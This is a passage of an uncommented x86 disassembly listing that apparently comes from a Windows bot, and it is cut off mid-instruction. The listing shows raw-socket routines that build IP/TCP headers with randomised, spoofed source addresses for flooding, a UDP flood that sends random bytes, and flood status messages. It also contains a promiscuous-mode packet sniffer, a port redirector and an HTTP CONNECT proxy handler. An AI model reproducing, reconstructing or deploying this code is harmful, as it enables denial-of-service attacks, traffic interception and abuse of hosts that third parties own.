___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27E0C7Ah mov [esp+48h], eax mov al, byte_4D84B9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp push 14h mov [esp+3Ah], ax call ebp mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp mov [esp+34h], ax call ebx mov edi, eax shl edi, 10h call ebx or edi, eax push edi call ebp mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4284AA nop call near ptr 27E0C7Ah mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 407C8DE8h, 0B9A09002h, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 call near ptr 71AB3B91h nop mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84B9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2830386h dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F30 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80C7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call near ptr 71AB50C8h nop lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80C7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi call near ptr 71AB3E00h nop cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446EF4 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_429138 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429138: ; CODE XREF: sub_429120+Dj mov eax, esi pop esi retn 4 sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429150 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429170 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429290 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429290 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429350 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429350 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_429350 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_429420: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_429438 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429438: ; CODE XREF: ___:0042942Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_429510: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDC2 push eax mov eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_429548: ; CODE XREF: ___:0042A4D6j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A560 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset byte_448F30 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call sub_4012EE test eax, eax jnz short loc_429600 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A4D0 ; --------------------------------------------------------------------------- loc_429600: ; CODE XREF: ___:004295C4j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_44720C mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_4296C5 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A54F push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A54F jmp loc_4298BA ; --------------------------------------------------------------------------- loc_4296C5: ; CODE XREF: ___:00429647j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_4298BA push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F30 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A54F push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+1D4h] push 1 push 